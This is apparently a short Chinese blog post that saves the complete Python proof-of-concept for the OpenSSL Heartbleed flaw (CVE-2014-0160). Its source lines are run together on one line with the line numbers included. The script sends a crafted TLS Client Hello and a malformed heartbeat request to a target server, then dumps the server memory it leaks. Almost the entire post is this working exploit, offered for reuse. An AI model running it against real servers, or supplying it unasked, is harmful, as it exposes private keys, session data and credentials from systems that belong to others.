【脚本程序】Openssl利用脚本
装系统了很多东西没有了,遇到了一openssl还不能读了,还费力的找了一会。这次收藏下吧。
1 #!/usr/bin/python 2 3 # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) 4 # The author disclaims copyright to this source code. 5 6 import sys 7 import struct 8 import socket 9 import time 10 import select 11 import re 12 from optparse import OptionParser 13 14 options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') 15 options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') 16 17 def h2bin(x): 18 return x.replace(' ', '').replace('\n', '').decode('hex') 19 20 hello = h2bin(''' 21 16 03 02 00 dc 01 00 00 d8 03 02 53 22 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf 23 bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 24 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 25 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c 26 c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 27 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 28 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c 29 c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 30 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 31 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 32 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 33 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 34 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 35 00 0f 00 01 01 36 ''') 37 38 hb = h2bin(''' 39 18 03 02 00 03 40 01 40 00 41 ''') 42 43 def hexdump(s): 44 for b in xrange(0, len(s), 16): 45 lin = [c for c in s[b : b + 16]] 46 hxdat = ' '.join('%02X' % ord(c) for c in lin) 47 pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) 48 print ' %04x: %-48s %s' % (b, hxdat, pdat) 49 print 50 51 def recvall(s, length, timeout=5): 52 endtime = time.time() + timeout 53 rdata = '' 54 remain = length 55 while remain > 0: 56 rtime = endtime - time.time() 57 if rtime < 0: 58 return None 59 r, w, e = select.select([s], [], [], 5) 60 if s in r: 61 data = s.recv(remain) 62 # EOF? 63 if not data: 64 return None 65 rdata += data 66 remain -= len(data) 67 return rdata 68 69 70 def recvmsg(s): 71 hdr = recvall(s, 5) 72 if hdr is None: 73 print 'Unexpected EOF receiving record header - server closed connection' 74 return None, None, None 75 typ, ver, ln = struct.unpack('>BHH', hdr) 76 pay = recvall(s, ln, 10) 77 if pay is None: 78 print 'Unexpected EOF receiving record payload - server closed connection' 79 return None, None, None 80 print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) 81 return typ, ver, pay 82 83 def hit_hb(s): 84 s.send(hb) 85 while True: 86 typ, ver, pay = recvmsg(s) 87 if typ is None: 88 print 'No heartbeat response received, server likely not vulnerable' 89 return False 90 91 if typ == 24: 92 print 'Received heartbeat response:' 93 hexdump(pay) 94 if len(pay) > 3: 95 print 'WARNING: server returned more data than it should - server is vulnerable!' 96 else: 97 print 'Server processed malformed heartbeat, but did not return any extra data.' 98 return True 99 100 if typ == 21: 101 print 'Received alert:' 102 hexdump(pay) 103 print 'Server returned error, likely not vulnerable' 104 return False 105 106 def main(): 107 opts, args = options.parse_args() 108 if len(args) < 1: 109 options.print_help() 110 return 111 112 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 113 print 'Connecting...' 114 sys.stdout.flush() 115 s.connect((args[0], opts.port)) 116 print 'Sending Client Hello...' 117 sys.stdout.flush() 118 s.send(hello) 119 print 'Waiting for Server Hello...' 120 sys.stdout.flush() 121 while True: 122 typ, ver, pay = recvmsg(s) 123 if typ == None: 124 print 'Server closed connection without sending Server Hello.' 125 return 126 # Look for server hello done message. 127 if typ == 22 and ord(pay[0]) == 0x0E: 128 break 129 130 print 'Sending heartbeat request...' 131 sys.stdout.flush() 132 s.send(hb) 133 hit_hb(s) 134 135 if __name__ == '__main__': 136 main()
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